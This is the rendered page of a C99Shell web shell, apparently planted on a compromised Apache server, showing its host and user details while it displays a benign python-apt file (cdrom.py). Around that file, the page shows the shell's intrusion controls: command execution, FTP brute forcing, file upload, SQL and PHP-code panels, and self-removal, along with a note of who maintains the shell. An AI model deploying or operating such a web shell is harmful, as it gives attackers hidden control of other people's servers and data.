!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/apt/   drwxr-xr-x
Free 1.06 GB of 97.11 GB (1.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cdrom.py (1.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import apt_pkg
from progress import CdromProgress

class Cdrom(object):
    def __init__(self, progress=None, mountpoint=None, nomount=True):
        """ Support for apt-cdrom like features.
            Options:
            - progress: optional progress.CdromProgress() subclass
            - mountpoint: optional alternative mountpoint
            - nomount: do not mess with mount/umount the CD
        """
        self._cdrom = apt_pkg.GetCdrom()
        if progress is None:
            self._progress = CdromProgress()
        else:
            self._progress = progress
        # see if we have a alternative mountpoint
        if mountpoint is not None:
            apt_pkg.Config.Set("Acquire::cdrom::mount",mountpoint)
        # do not mess with mount points by default
        if nomount is True:
            apt_pkg.Config.Set("APT::CDROM::NoMount", "true")
        else:
            apt_pkg.Config.Set("APT::CDROM::NoMount", "false")
    def add(self):
        " add cdrom to the sources.list "
        return self._cdrom.Add(self._progress)
    def ident(self):
        " identify the cdrom "
        (res, ident) = self._cdrom.Ident(self._progress)
        if res:
            return ident
        return None
    @property
    def inSourcesList(self):
        " check if the cdrom is already in the current sources.list "
        cdid = self.ident()
        if cdid is None:
            # FIXME: throw exception instead
            return False
        # FIXME: check sources.list.d/ as well
        for line in open(apt_pkg.Config.FindFile("Dir::Etc::sourcelist")):
            line = line.strip()
            if not line.startswith("#") and cdid in line:
                return True
        return False
        

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0047 ]--